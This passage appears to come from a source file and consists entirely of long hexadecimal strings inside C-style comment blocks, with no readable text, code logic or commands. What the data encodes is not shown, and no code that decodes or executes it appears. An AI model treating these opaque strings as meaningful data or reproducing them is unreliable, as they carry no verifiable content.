080e0e9e58ac3d18f11e508d57b8c63e476345fce87332eee4b38ceda7b4736751e5c0e1c36ef70f971f69cc383aebdf9f778e08c29829983d710e9336a1343e114ebbe988042607aca6b560e616830a7b5a904b4e7038d224935261ef5f78d009835a1845db1e7fdf89d7b38e21ac5a4751534a4bee5fc26dd958b0f85d35e811ea33e229edce1c6c45e6d5c6fc76ab7bab878e13d82735e3bfa08287e559951396eda28c1974eaaddc1a940da4dbe3f5dec6c5c092ab0926edad336fa767c876cf01e37cd31fc5bcd4d78f582ee6e8a7a7813f6d1d74e4d1ffc2dbcafc2ad6d8b414b3aff9bf95403d1207e85ab8e7e8331acac3a590bb3b70b6da44e23127817419d1785e31524724ad1bafe30e91e8ecaa5410722c43d751af0d68032d35d61885da99c6906bc312d16e8f9fde857832f7d6db9c5581d3693bcc2ac1c520ecbd8439a70662ddd2b51d93a022e3fa25157a47d7d99565f072c2c239912d29b15cf34fa34a14e68be5431c4ec78ec470d9b624023b630f216f6b2a60d377514c286a316a58e3291726f39f0808237811c92ddb2eedf8cf5bce41da5cccd89df66747cafee7a583911a50e64e2a1e5393e008d5b020dff393bfaeb58efd131104a5fbccbfd1040789ccc3d6a965e72e641dbf8db7a2284083928d5e3f174b4e8e79fd861d4029e477ea31dcdb06632b86c493601693fc98b1be79b4384e22877797e2f9763a45ea3102798f4aa2dd9d7303c537984cb58740c83bd91bacfb77a151114fcfa76e092276b65f5d39cc223c82129d2c7296bcd5befd7147f6448189085d4618ef4afbe6bd5f5f88aaa9b96df22093d82a259d5d9a2d1e909eb6fc235ad4e05b2abb8864fb2ec8b764d73699e5216eb33a00b8d7d09cf38d5ea99424516c539921d39b1c49db82f110eb5107290ad75670c76c8c3d1da39af91002f5411886e2964d7f14d9548462a183403c6505516d1beb4492ff4523a715cb5132113016a1198ae72ad86e09e6c7eef208ab21c9779230d1677e6f37c1cda3f363e031fba1308eea780efcbb6f2607f78a54fbd9cd34be7c0310d36ba118ae5d5bae52a9953986fc3450b0bd6979c37d5050c9bd745f22015ea8668d43e7eba22cb6fc7af19ddd4b9bed1cbcfc8adc0db43b9a929b89f74a7396db7a8235f9db359c9a8224412569120c97613bb8e58ff1cbaf15fca060a4b2061262e760170f6f7777f374c5dd97d37ebf2198b1aa61310a530b88a6b2ffb9d7e4571a3b0701a011dff27d0352b21f76c0a473a421e2008ae5a635b23b3aeb308a187a9f858c37da95e0752cee947cbb3f773e2085904dd007b0097d320043c54c58ee62da1283b4c20e695b871764e15da36b46b2df732d75b77cfc754eb2b946c01bb01ad304cf2ebb62fab26d2c568564c1b*/
/*d21a2fb20e72136144147a65e7f954264621e515dc4ab928bb62a2a65b64a607bedd061d1377c003c4c43e0c8c45a03c5e4b8baab7d79a73e3cee1dca49cc14d907488feb449b603771281ce66f4b144eff3762ad40d649ccc2a5238173632ad77f886abdbe3fe4de96e46654ceee6ea2bb000a3d4513124dd4fe71bf9d5dfef7e49c7569fdf315261361bd5a511bdaa39966b258a1f126c417c1966c15eb91b8a9d1ffc53a08b8c8630adfe656a1ac3d88765c272830ae44974236df5a51fb33736c2d4fc4b928b15e96a5450df0e78c812e119adfb129d24551cbbd3f1c6810ef4f97a568cdb9c07252dcd0d986f839aae88544fdceff532aaaa5efeedc7c20f7e3b27422a3146aca4bc8aeb73ad84721fdd5de1f0474275372eb2102c70862284386ddd69d4d616ff2b5e474bd1395ac718dea4b938a23957d0c7bfc4a077a60a49affeaf6930a0c1d3f77ff94ecbef88bce06e748c5df84d0e7f694113887bef952b3b6620546d03ee93d7ec891cef5b2b33ba20b45ba8db4b7b85a7821524d84c9577183ae00291c6cd360a9c5b5ee3cad23a2cbc1352207b18fa506d972d227ec1ad5a95d85103b9b54c9769c5e706849d3847543df87e88500da8f9eb7229cb49f8ed9ff8bb380bb136a615addf0f2123fb551589ee155eadf14b7aa553ae76d712fbce7399a7a6fe95f1a108695b8facbed43110e18da2655a8ed3b9c89546c05af3d753671e4e75168b4bcc085b36ce3f5b0fb6c563ae8c277b613b83973c3082212823bbe8a70469182983cbd0e7e775eb4c7edf26e24bcbbf6e3390e34037b3f3daf78283bf9e8623c6943f0941e02ca9b02117410bf3d7c1f3e85c4c559f11c47a072c0e91d8391bf41eeb88e7ea50fdec09dfa39c834c763c20b5ab634543fae7547d4263b994aa60b85223cae9fa8ada2ac81e20ccecf76db739e204f1815aa4244ffbdaa6d92ea695bd8fb14473ecda8e9bb3dadb849633a55cabd646fdb0c216674646186e457ee1926a134c6404271d01dc67c3c18288b57935fa3f545c8e46c4335664361deddf108061d2d47f0b570159e42a91d780b3ab62e4d5139c0e80949bcbc766e079c0fd68af4e6f96b2c9ff56b5e638751bd0f91d30ce4f5ca16cbe4c275da998d9a9facfc6538ba9c1788e813cbad1a85330fd961647c92754e121052fcd8535a74cc5ae18cab803532e1ee3dd82456561ed7fbc5f01d6913de2ade1804cd8ebce30377542c4f8ae19c48891da6cf2830c787b33bef54bbf551e08cd6de57cb306217f10194b4d426ef90e32dcd84203ad5bf55a1398d44390aca6cf2b9bdb7d4f7a2cc81f6987d55bbfec674a0be69e6ab146bee64c2de1a0e46a7651441604d19394cb156bd122263386af21662371a6d5713c8272f6c4291c375ab0c50c502cc20a1913c2fb792adbb4fe48e2eeb2b89bed7dfb7cdd06164f77601fd531b7d5e8948069b4c8670150855da3d417949b3f0bb5978f2c255465945881939bf4439d9a8be5720f1418e0e745fbc2ee7da9517f017fab2becb7dcfcdde50102ba68800491f41ba85a47ce7b6d2f59fbfa832a71ef9384c4401bbb12d784d20e64227ce142696d0f517f07158c97c76975d95b294a2ec9febdbb4bd8a14e12440d8847e60d0afe89805fbf828bb3f7d72c062906fe56b8dcbc2af3ace71dd15c72755e7c39019c667d76c8eca67c66d2ffc5bf0e311b51d6121898963d390ce1999dfd7f1c4d6f35ea1c1c5bb7c047b4d5d25ba13f1822ff602193d706da0f683e2feb217cde9476ada4aac143f59719c92145ba54fe65a4419e20077fbd9478e248a2fe35084f8d12f4a1e3a13dcbbf7c4f3e55f01cc88db502b5f94188edbb0db5bf1ee8e79778e06a172cc6e90e865a7bd9eb4d24cb1dd344ed0a94d99b8c1cb58bb03c5827d1536eac7633258f37ae05930befea708a3b48686c325b82ff123f3461ee654bc5208d4718e76f8c83174a1f6ce9e885affb89494e05517e3bc8c8eeea0c926eefc1a186b5800f2a782a1e5c4c8531f342ae7133f1b5195ae1d9b7694229854ff8b69912a3320c04c816dd719ea160107094b45b248057c610e994be2063b173504c25fdf7b9d9833082191ed0e88a6dcc793f65b6743b60e7691dfe27aeb66502e952f7bc45d81154fe034ba2627bf5e104a8b7359b43825ca929bdc32c2071e3d07ec01937d337594563ba6e1c6088a9decab03d0d8a50457040bd579cef3cc6cd19d32ecc4dfe35da1c7513f4a3a44403adedaa64e590a476c58ac4ea89aa5ee887d018abfca703234ee42b8b3d32399c763327d592db8bf1d144249f1df2e2cb4820fcded0fb906364c459fedc8c4720f10cb75b2023e1a9b8e6d8a310f0e6146c843da75e40182f39bc7364e1893436aa9346d97eee50b56e04456dd31880d099789878d4a8e8350ae2660e08d9134d3670851105200ed840a7a8fbf2d32b4d92df3f0b4d421763bc8b8da8fe864e8161de527e1f1c265ebc361b592019418c96e548d972aa3d9c7436d9869669633f4fe81d73a91636d39171cd5ec6923c2bc9affe17cbdbfbfafe1cb561ee4377ce9a85c42c5fa2d6961ab24ac9385245f823d3cc131f722051f12ecb5fe52e535be15f19d44636363a52dd04bebab893d00f5c5e77efd6d30901accace023834714f0fea3fd5ce06d3ea290997d4435a998c86acf9b34b754983ba763fd1baf8b306e1e17120ca3517b375f52e2c0b7f2fd774314032fb68340a051a3da7ebe3716e88b0bb23804606d7c9264774da0999108fbd61583ed76d1abcd26869639707d4c8650b3c521febd2c0*/
/*ce469a6917a5d0e3b5934c14aa9e1ed761152bcba93b965f44bf5616adaa2ca7438e0f5e8fac2e602a7eca762c76be55ff4f9e87b1203f03860fac5d61a64a84db5cef1104164bb33ce2b2347c16e12a80b507c086c55bc37d8b6e75e8b4b50d81e2c37ebe74de248263203c5742a34eddf5ddabcd12f0a8eee9a0d8e4bb35482af2c91d5a031a21881cbf0fe4ffbc32e5555b7ba54ae5eeac0c210272916fc5628eb120a05a4fbdcce0fb6eaf1ed7f513a016ab3b7355b7b0e1e63935243da2aa5346aaf731efdf182c7ab7b25cf426276c9c8d969a2a0282ff01b926de59cb950d94dfdb351ab001aefec886c7936804747f6c5dcf7cb80731f244972c8f64f52e9d0d75989e05a1f42a48696323955d93a729eb44fa6f3193d1714364168540f6393d7f7e1f7e371ac4bac32b1633f47a95731dde710b452b09dbbbbd255807e4f98cbef560539914d7c05f97df6e7f54bb676143855c5f73fccd4273afb8773905c699e2428f7c74657e1903fb56a684aa0c9bfe089020d0dba6200d91d325eac1f2086ebc4181d2f3fd536514e5967f457d60e0db04cc7c96f64edd4068712793f82236d4dc28cf4728fee8fa31180821cd7817a502bc027186f6eff005bd7410386a62aecd773f2b0951b5584e5ae916b0543cc86514c4e89a649bda19f5fe9be41f1c905d6c535d13c71158083fa9cf991cb3eda97e2bc62eb7564948eb17563714fa847406c301f902aa205d1922677ca82a86000fc4f8c43242ecc7f7f47e68e6f4976e9ab87381f85c3f2c614095050c772955bd124a65a376975473dd57de4930de407a55ffb2fef2f1b25d6f3bbe505ef60eaee1c4ff07c9fdcb5216d7e9cb0939afc6195b8840b1aee66d689d88c25df4d17344ed938925363ef8da5e3c988d70566fb2f27f140c55453e491f5fcbe7d2b35ab45d90659e00b6433d1a8d6b7e07930675b13187ff5c730d2dec8b8eb3ef9f08979c12e0a6e9f43bb3e8bfc907dd24101943d02554cb61354215b27816e7c224d1d0e58dc9c1d08a675601350655f2db1c9ae5b471a72dc4310075602c1dfa721acc18b36ef239f1cb760b5ef8ee328fdc1d661683a0dd3f2aa1b1b98cf3334cc6e37ff0392f211b3fc5a7bba453f2cc005ecaf41f1a557752aea7b7b04d5f44cbf53e65d27cb13422b3358d9688cdd957d9e77f281511e68afd93232ba2f33d70a8db37656ffe44ccb178c9c7c08b5e21fdb19ea7625a9c51459b733eba3295d47e4b19f80c269a7097dfb74cec9005967ff98715ce108603d7e92388f22621c65e3d5c65440631c665085fe1fec5354d8e38727f1f728cd98a0307ae86b632b84fe8cde1fc82a0988c040f06822173bf4d55bb48824bb2223f34817b6bbcac51199031266f184e0b05bcbc04cdb4a5eb4f85584179f74d61f95ee9c19b3641cd32499de8b2cd5274aea94a2dcb454257d7b546d7f7382cbdbd78ffefea23cb7da879cbaf4548b2c8fb20f46991e5c8d18aac68fdb4881c437850377dfd7e9ac0481ce5b6f09f5e71e9bf61cc64a6f441cbde3f1db86dafb5f0a63130d91b2ed51d2a84afe484a9a6b697e82e74add60aa7be761a447d4b22e7ddcf847d122f27eec0c9cd6c9a9715cbfc43785223f79a44c6d6b29f41209eceeb256ede05c42225ff4d96e6ea5f496e3637647c76e21fe159303fe7c79697d2f2dfffb99a2add0a6c21c06d10570248aa7371acad4f771326dc1a79795aa745588dab6fc9ed8e4fcf0ec45121764fdbf4d12ee47b87b32494ce45825fe8f649cba181e72b5f5df08b7f93776c9d22c573e040912e9fc356372d9a629f633837e49e1dbc89f7e34a8d0ab46b46008d3593f75a9cb295d5b4d57c6a2c22f8ddfc5d260688e3e74540f3a07fb7304c1ad8a3e8567507a5c505cbb6fa562e979cd9784a1ae959817d51e2b1ecd28063228bb624c595ee7428d46c9eff5bf89a4b4800ae0aa0ee9ca6a5f8a9f6582d3ab77127067f6b849831ceaaaa20cdcfdef37be5a4fc416490584debbbb0acd146b47ea45a28b7d67eb8668d8a0e9e135b05bf5503d07426094550b7d3507197f2f968c2dc30f8c833d3b728f790bd2a2daa227ff2ae62c483ef87b0fcddad3b2dd50045aaac2d1437b9903287eb4bbd3c74847f97e1f3b30f18a0f719d565845c8e60ad6527f9720a140fec73aec40aa654018e735b0c75c238818fc239e569b48f97b15fe27572436ce58e33b6d99a6c7595d98f1b2270617ea6066b93412b4c8706aff684d11cdae4712a31d666620b5492d0895e3591d30bbbe734dce02c431c86f9312addfa0248c5e340e70bc4990e918dc60e4a974fadd75bc9338458c7afee0188abdeb835779056eba19c712f65ff17f9823ad7da34cde15928cd85685941e074d1d1de21e3b8bb9dfb8a4ff93fbcf0161f90c86972e6f625a61518510ae3ddea9a1dbc3eb03488d65c27cff59bade83869753dd99ed32ff74dfafc4880b830c6480139e651a59a29832e69b49e77c257236068e078629803b5fe68fd428e8d325e0d4c75a5485d9e23b7b90709aa6a254eeed88cbb528fdbeeb030c0fc0f47a01383236b532d8be03efe1de48104873ae3536fdbd77b4e33945e9bb314f7c241eb654f142859882a5b12f112d2ce79059704a5bca4b9406454608647b0201551d0f54d43b65d480a84c0ca8796927c5144e68021d38c3aa3933f8e695d8adb9f2d4d874277ede53efbfe9516a7e5859c7beaa0bf4a9f8a5c31d2c63321de7fec86d9511d9d1fdaadc45aa0def78162da2720e1ddda8c51053055d3016582c6ab24611ecf0b3586f94e6460*/
/*26996f5e7966e42066a654e836ec4fe8165730ce7607e2ba95482522d76f727679480ff9cd69d5e4f095369ad1de617539c31ab27840e31aa6eae1a9bf79419748db1ea707287500a0ce964af18b932b443325443dc2181895bca10850932f3e813663247570b1b73509ce66abcec5008228bc548d88277aa9fb25791386f6394ff60d01eadee48371c875bc03c1b412e7e78ae247fc6b7b7638a57e3947929bdfabf1f5e949c5471ec6d3575ca90c5a05aecaa762dbe76f46fa0d4bd0c8721eb659b21a6e984c1ce8b65e26fc2a58b42b4fc1921bbe3ffadf318a755020cd9fd3b9a5801f5697de5fefb8bbd198ec323c31dd1a87737ea1a8a83f5486c8922225e328a6f2d81ee3b3b462afe3f333d18bd2ba80adf675ec7b5a40ebccad296065e1b9f8da5d072e650aa5ede02f11654a8b9ac2d1809e557ec47fa4bc9b0cd222bc8d507500b2a1f2b60cc78af935bc4692aa08a31a65bded35760c90ea72adcea79859cb4e6d2e92382a76111bcd80b6cb016f436fa04902e0856c98e596a1ab3c95195131cc5c5b847a88fc550793cb15319d4f6f9235235134ca8d2c1ef46eb8af375c259cd558fe4386effe5050e8bda38ad22706c17afb2f185a6160800326e790e2e817a476439ac5faf2de35819647bf23b5b28e2608e2a32d1dd5b69272631d890fdc70b5518b944a2179750fc2c09a8b2bf87c1192d87e36a114b132d984ace3e8d5fd826a6fa40755a9eb7ad6ff98f2a27828df0eedfa785b41a42c4c4d63bda19048fec898b9aa4114b1ee0fcf040b7a8313dcbee532029d678e46267348165ecbec61247c47b80f8f0ab19ffd5a1df86c40cf92222e6f28a78bf363973de41180ebec1142103fb48fe3fb7b01e57fb1929bf56b714d77e112dd4bd5515f5fc824a25e725b5bb1b093f7a0481abca086799aa3206e0d1455e0ee7e7c1642456b91054046275d3b808c149d555b06c0cd8b0ae47dbb749d92767556a007adcffb5de4a3e30d25f267ffdba1591418597f5a09f9175b506b70b16409306f0e98cb517a2edf2f83e3c450ccba7f70f8649563e528dd355037dd4854b6c6e79620de15eeeecbe3da2734d001b5bc0d11ae60454030f84b8159b459f5bf27755a7343d52a27b4f48af6f3b593729ece9a38ca92320f1a8e11130b73a80bd0d071a68c753a548b09be525005f7d2f969aacf8a670c5f6330ba23131f7fba04b2481b951a8f087a3fb97e494159e80212820bfbbb03039ad18935a5320e086780ac0fd6568830c792e4ec3039084ab764277a87b535a07ca56d33be3afe4f7ebe93fc7ddd23f64c4096c86eba21705c3beb80ed11753a81498857a6da644fd94589afe101c46cf253579ac66574b9fddc3cadd8e16e88d525a6c306258b8882f94b8cf66194dd947c0b297e2933c09f701d386495fb4edd235bd89e8c85ccd8175481b48296ffd437e490f0551befc53c91faf46b1be98c51bf5c0bf1f057215e32ec054cdcbe5eb8fd80812afb733a221e6c7a1508da3ef9e1c480ed3978db0f0dd1fa4b15861a334699949ddadfdc13b80d980532f43eaacadcf9a4aaea809dfa606879a15fb4ffc8ad85808998f18425a7a349a9d781718b463a7eb49812ae67e1aac8bdb5c4573815531407b72d7649074c0ccd1e2e2996dea56d95e1ae3237d35c26f108e7710d275bcf82483a38d13415ea925a7390807860d41a24588b5ca4dc757dd59ec7367575d6699f2d901008a1349cee3682fbb196b06581dc85b965d75c0bd0ce8b8a98de69549fb25455c16a0a818cb540681c770628f992ffbe601ff979ee49adc96a2cdd3495831d285d77e42ec32b12265ed211b29e8efe9518f6363bcfb254b831339a3905848f2e2c5cc49663af7e1b92d0ef6ee03db4a5705c2c8490978097584fa8227fc7536ad67b3fa6e2121ea0b4a8ea8c9db6f44fd633c5f14056426804a910d6f632d7ef3aca6193d5eaea2ca8726b683a76abf1a671710c8033238f9fa379b8966d606558b7dc04401541569ddbc1a41ec0681b0c6371ba0449b5e403d0aaa7ce53c6c08eee11cecb96560471495584b87cb34e9154b5a0a5f61058866bbebf53ca73055f07a2a5710596ab0795f7265b418d33eadacacf131ec005beca41b6d96ff109cb5bea531b23688d557deb2505f77a20a76ad75b36d72864c1e631f4933ca9868569e8f93528213959b5a54c78de76d95b2702dc9b3a3f526530770324bda4a07968e0900790e47fec2ae829e348779fec7f4d30cea137cb784a8c27edf89f7b438264b69a7c076fe7155837c14f7a3903e75ec85d38568fc08bd319f19138477951bd17d742b57defe5566e0ade921bf23c4e11792116abe6bee3b4c1b45c3c2c6928130064392264ec07813f332e058a5d0546ac0e2a192666159a9ff3bef7792b8c1d604b0f96de02723e8591ceec1ba9a3d06e6a2bbab61c1796467b1f9e765070a17b127547dfe7e9d6af7ead979ccb3da6d3b3bbf2410ff81d48553c440868ef1af72164359a659a6218a6e3aea9b3251246a48af178c5f5b6b8ebcda8df8bf8429ec81a4b930e04a105bb4867bdab13231b08a09e553912e96d96cdfca27061d51faeb0c41ae643e352d92d11451501f14ce62b4c7b7e12a53d1ae62a868e14a78a8f8897c7f1a7a132f580f9f5c78909afa0c24f87eee33962ac065c5ae265d05303c70e2f13028b892130803b1718bea5d1b25ee81501cab141dccc9d1ff2ea1216f617389d56f46decb5822dcf43b61660dc6315355b54bd39c9ff2cacb6629c899490065b33bae1a2b1ada4a9ffcb9618b0f1d3987073*/
/*f8b0222562c1da3caca5cfbd6d85466b12d0306e64cbade6a52780f518a0d4c6102e562de39443fc4dc28a6574b4b3200b075c2318af428d929ea1e558d75b890e4316af2c81273b54b94d46c31c697ac3100a0d60df881a333d099636ab39bd4275784e60c306371c6a53c4547d8a1a93eca706f79a1ec44caea82e4bbea14cd068a05c6ad789b087acc3588d6fdcfda20ba93944d52c2c5e98c88997a136a3d899c7dc6da706c3f5348aa784c11008541fa4f6ac6a3adaea8d6d89efb3e72ddbba6cf1d1e5dd8177937f0f246156feb6150a9cbf31d42c47bb858ba11ebe47e2adf88396131a3fab5ab72d4d06a00812399d3b7176f964e9844f44bce7d131a73731a0b611183a32d6579334dee160df1823dd071640fe2ee841bb85886297c40cbe934a8939df72e3d520ba2cb2a0d8de7508c30bf50799f96520fddd1ed5587c7d571ede7db041e1ef8fd3826e823c81f3bfb386ebe3c427fde1366b6650ac031a45f2b860552e4a1300bb7e724bd26834db7019cc904b6f4a4a106bf7175f92a158023443135be45cc86bd174efed25787404da62d0c2c80b902d5eb828f4a9c286e824a4b49ea00263b8afa569fa2de992ed6bb2593b7a31f8bff9442e0dc7552c58907574dbf25a37969b56653ccf60270933621379e8b0013ab1d58f79bfd08cd4640b6b268b68d0699a82d79189a09baf8fa05ce62f6a755292cac223676bf3e080a9f7e9dccef958e11b4908bc5e7a952feeba47e400b5aab9aafcf9264fcf995b0e544ab13f1adc18782620b666b1d97408eda160f1213ac4c52414106fd1f9b6cc9efcad1c4a79e462cada088af5250093391bc0f911aa86e3deba8ecd1b039d47346406a7b09e4bab761c602c89bca1d0a1a94918bdfe2ff085ffa87215df87fc37043d28335e6e1c8e50b21e610d425a59a0ec039a2317fd079ec350108805cf2fa0baf61b6e0a09d3cb1d3c2b366510590f2753c59e94eed44a1772804488c70c6a49d02de410a0c3e193d32d6c22db896d06a459926821848312fc2ad42484a930ae8186b55503f3e05c9eea33579a801cf2dce673d4353f2985c995ea917201a40efa0dc48024b8e335e31bf6d967b64d703b525c21ea6923f3d3d9ad9f786ae362f3388f56a41bfe2b396ec72f9aca9481ba7b61e59e3d8b696c92844bdfc4765b96c6f2a2be3528b61007189461f2436b2e9137f273e9382ae49d12e3d8fe1bca44d8d2e9f512268545e199f7dd6a2fcdcac31a1aa55c29c0b639e6e7c3abc0e864c2687c2965a36e432b0e0b4a0dc19409ea13c7e4ce2b4e969d479f20ed9a2ad338a653b8ef9116fbfc50efca663057057aa568cc8438cef622bcb11a69e6015f9a1fafde4e1e40baadfba1e0832ae7723f8e1d07077172d6040db19f195d2dd0b877761a1bda82bd4436e37757b2876bc08a4e1dda76fb2c287cb28344c44c3c952d98bf5419f7f17c89ebf51230e2a20cf477bfa2b9b544f64f88666d7319630bc4251ebe58edd6bd1caca49af8a1331f209a9221626399ed96108f1b72f369ad35f01ec6d357b9ab4de7281cd3c7bea7e4f8be9406879d6207707775a70ec0719c5498388e8d84297fe5a246a416b895f4a139cb02d4dd344bacb45c361c4cfda3f6c7381800021f5afe7337bb07c20a05350ed040c1c6d2060a46d1bad8c1c39c4994c812e45ae4f44356b229dbc4f95c9bc4274dcfb31e31a8dff8c7807da44550fa31e7b60b349185091fcfce10fd162ff464ca060e1822413d9192ca5fea99f8ccfc1e67cb993a01268c0a3294b8d18ca6607dcffa1405e0a567a9b0ebe47ba35086aabb8d18bc6f71395641464ad335a0f6c030e5b93245dbfec72b33e7005d7277d5e0e4a827c667627120dab65328b3e76261e43fe8b57ab7bf4864e14eb75170fbfad01e46bf7734db500b0bcadc9f18437e9eafaac76f0afdc042dfe91c84db881ee11470dbd379b7ee49b3d46a05da387870b347e0b13796e8c934d3bfdee60760dacaf848a5cca6a4ed5ed38ec09435ae2af9f6b769ee7b9157ea50e8a381da56c11abfdeac0d9fcb3dd94527b4933ebc951601054b8f39ec9fb00508de8dae63c6fda441772f617b39b7f903aa8c5a65ad7fb3eee791c6f564105ac0eb6aec381965947a66dcff977b65667caafaa34887445f52d844731a60dae2f68621632b5af9b21c28ab3bcee89c222e8873c8e6b90c6bc9562f0aaeb508d26a3a5cbadfb19576b847149c112d7eb484b8a23ea4c8878cc0cb3f769d2b25b8268ac53b97bdb539ebaad9365bac2834f511ae6986332b38d3671828916616691ea9f812c004af3b1b70f592b47ec567bb4a14839a8bafbb9b31841dfb940a6e5f7d3c26768778d28924a846d871d69c76285a8eb9695694b7ef227cc60b9fb83043a61d56fb16dad470d0e63b6029717841dcf34440f1b24b938dcd2bf8c401574341fd68c4752bc3232b03eed29969f20e1f346fa2816b7e60a6076d1627cb4acb3aa99353006b2ea99f85c1b7c2cbf4a1f7a2d5f6e4890d7d91dbc7639ab78b0103d3cf5a88f97149236d5a5c3c85e83e2d3c7ac54310fd19c345f3f15020ac262b5fce571e6f26f5fc099f6fb163dd0fbbfe3c3532f491ea0b3670d2c7b5ee9dedfe650194b54e893de3125f263c5816e1e528dae82b8eb7e694d82b100650c42eaa9f127dd954fc467dc43137dd80101f3dd8580a8ed7e8c890d5cb846a0ac6afbe8fd4a75ce30d39a2a87ee14772a773da0fcc81c697ce5e436d3c00fb61448827914602e21176388ccbab3cd5227beca1bd991619fdb7eba33908d7548b7a2e*/
/*f5991554ddb2079d4fe63b511c74ab721cdecea6669bfddff46f138b444b26ff77ff50082f1e9ea6f0483d0648aac807c37f854169384696e3f55238a25e84f968382ce923fa9a9b4e36ced44615f1a058c79c4b167ac5d0c0b500510ba43fa929355defff03032a9b9996dfe9e030e290d998be716c3fb884882fc52e7cec6e97b0924a04b4a132b63fd72f38f9ce15ad262f29c4e2400800e877ffd18810a091a1ff56a2d7adb4f9d89aeabc59c4aadbe70fa71f4e94d27a049a781dc3633a698441b640a0808c527ad8b0a5bd6888b7ccac3d1c8e5f079b5acc8272ae79bad93e2b656386c1cc9d23bea4e6435d3bc4f9808e13afbde6a2c53c94abbce9bfaad6dbdd0e5d2dc80ac40c8731496ddbd88fdca528e799612262712b9f19535e699fcc32d5e3714416526df79909d00534e6f5806918b49d976a8b61067ca99ddd39427441755cca6d15ab019ce45376579a74f1679fb2faf561ff6bbe2d9bf1f168c77140abd511bd935d1f377605796347c8e3d1c7298c185829579e56d5ff3c93cafa284b989732c0f0ae2cb618d3882762bf22d8721918a8df00197d35ceb8add4cd53f10dc2ce33e2ab05f3add6404efe2436b5840c1a9b4b432cefd0b1b79c58f86490bbeab62d1c81450b8bdb2167d1a67ce705993bd3b866febe6e1fe20914ef1c324a576b89605ae3cef36a67d1f15eff00ffe3a37212c4a53fcc3ed204dda96089f07c33fc3c27289a153c96f89e6b5ec59a5202bb9d25ec22f72833c5c04b478552806883a0d5018c70771ee6c1325a52fbccab00801a83f940682662f6bdcf438107216a56f2fe0bacf82dfa90551956fc37ec856f07ba3365bb9e6a4f1b1539a375ea071b83ea2af54f7a1b5e619b92aec62d9ffd407b10939027273623c2b9dc0fb2b1aba9f80aa2c00333ff24d85f63e8c0cb6881f4f8b194a73f3ae7d6b20a833c4fc5b9eb2d16916ceec79a79b1374ce6e19d854a0ec546bf66470935fef949b60dbc6b6aaf053b943e7ce38d2a6733ebf884a21e01a503c176c127870f8ed16d0495097869c28b8c7e4c4cf914cba6dd486ecec34e8950d87935621a04d047af2fe1561595ead32e1b38abafd53f8be963a27e47988659bf25614b89a7e437b1533c54ec931933f2f954d738c5fb891ef688b22fa714f093b262ff6019c1c9ec4cd17adb651be45f10d487aea6c4f526de18501085620c6d4e9cbb8db50d7482e285ec570764e2bb1f76443d1b09b39e3403d83cb8641e01c2ad9c063aba8750b93bb1ac8dab5d19324612fbe642dcb3d43e3e8846eccb702121ef9e98bdcb659edab7ad0343ad6e0d25b9dd0c2d1fa6619189acf95b35cb0bd03da38ae679dbb6deda8af6d414b82a6810c69de09b08b367ed4e97d96e4a690e6fc7d5ae761ff5c62aaf35c3d776299b741b15fa529bd9c9c50bf827586cf45844c70cf1e796508ec36dcdb4f77ed49a919726da41d768f2e96986d9d7220592f527889eef518b549faba9a4b631752ef81986fe06ece7edec43c71f0a47607fd3a0daa0826fd0e7c31e43c244d4538791e8d45f77b48a601a94273702524932d7505f66649538f6879e51080a89d57c4243304385cd1b154e1cf2a7c89edabbe10873dd43e1667700dbfb14d0386dddd4e2a65e6266a68c9813b5c314fdb9903e22fd9b4fc2b7adedfac8af4af5ac5d41cc5051e21322886a44aa3a308c665ee471fb575d28081db970161819bb0f135c7a4283cdbe1e83c261874b9c673a671c17344e8250ca10335be525bf5245e84cc4cf20c9b1090ae37a785cac278ef9cf7a46db54c7d3bc00014284bfbe9d43dee4590f863f8b473a291afee6616293fd50cdcafe9a64c042bc937945ba737938274ca571a8e291d5fb6d533f3c16b37c2cb46cd4ea951be8c1c50ee7614e9370a66af8325caa764191b80d08a6af31062b0a7c724b40388da2ebb6af713e13e82ed14695892655b36a1a14c7fa236737a3f7acf4adbdac78a6674ac5c269111abdb45e75cbe00a094477d330053511edf2f0d264332fb22399a711e9f8ea0fd35bd0710898580676a9559de0d1522a6e53f2439d0e05c483a9bc68a38be710112ad83ff2df316c3abeaf810b8347fe8aa353d3a53ce3dbe7767b13ba9d104baa8d9e5420d89fb0bf17f7f6dd61f5d7a2d50408b90fc85db078852dccb4472e618012b3deba393cae47db74b7d53f82fe4651cb51e26b994359a792cb846f5e55bfb4ac52d744e3de175739d6017b89989ff86ec13b7abf42d0651e4608b8b53326dc688571b6781ccd64cc704bd2546b86de5a6811ed5ad97eebf3cf9d97e9d4c45279596eff97954318ef6c4d1c3885d7cd94dd3368744c92bdbf461540537513d44920e926fc990f7862bffb25077dcf76163d401a5fc8bcf32ea04fbb745d88620f80c643d3666377f456a7711cb6ab0452f9f45d1854005ce16e90d0ce5e98dbd7fb0ce9f803d8abe592ed7d9553af394f3365083b7fd9d6a1d6a30329fe1a96795e92fa7e997ba704b1f6dd221e512191fbf09c9255120bc7819d316c3f27a59560921c7704e4919a362d8a981a5e59c155294925d4511d39f2aa8c16877648bf2c70239d379a8837c02a67421a6f5466209f6d3619a4d376c985033280abe2cec8935a80363e0d1595ebb241916436c1b2d85148b84baf00a965e8ba92a25f552cadad31fdbaee9032c0289a56672f0911d251fb54eea5a1d919d0179c6044d293575c883bf3c82577b8a04f62c856780d8b92712a41974236b6aa3f32a5fee90a4785353f79eea2bf32e13b426300dfd3ea60ebcc159ea6ab*/
/*6d83add547d5b95b898586eec09524e25d48f8a901e686ce599fe17ce0e09e17358ac73c007fcae3e5f598b3edc97dff357e948ffb793dfab21825d426dc08a5776345757fff92f22e2a7bbe35f472230c6ff8f4d7bb871b3de220ff196be1a39f6305858b55f421e4dd2d2a65c8796ed527f62bd93433eabbe12e831db2837621c924a103cc065f20378c5efc7e8b1622d21c956a110f5c3cd02b644e19f4275c5beaded467224b57546192ec9eb9c4c25fc304321e530cfbc8b9d88bbfa61943a803ed5144ad29b68000ebf34561b176a9071354cda7e19bbb47b452a8d0c7b0f3d29ec4f824e5761d6deb9e1327f27ee407ae49d34ad842d34af4f8949dfa80eec630087c90304f3a08ca5a42c467640db741ff693b291a2078799b627810337ad89616569157d517640e53893a1bb2d539fc1a35299d4f63402da00618ee945e66d1d44dcbdb3eae6eef77e3bd933d5faee473d740a6adb94b585c099e2133eef9f288dcd6e8bfab0d8bc0a0170da06371c2d693ec7750fe6bd53a2da95301c682a7be1a95308202f439bc5ea1d2dbdc70591a8fdcc30b7c16ccfd18fc443d09eb43e585125cdc68c2419435f10485301c1f2fe2f8d98c7a8a2ec657f6fc946f9287ad8520ed5e93dda12e1d560e2cca4ea81c7b91db6d297754c0a425e983984a62bccef509c1cd54fc2ff48a433bb6e91120de70675b57fb1c6d075f0aec092c3a431edd2fd64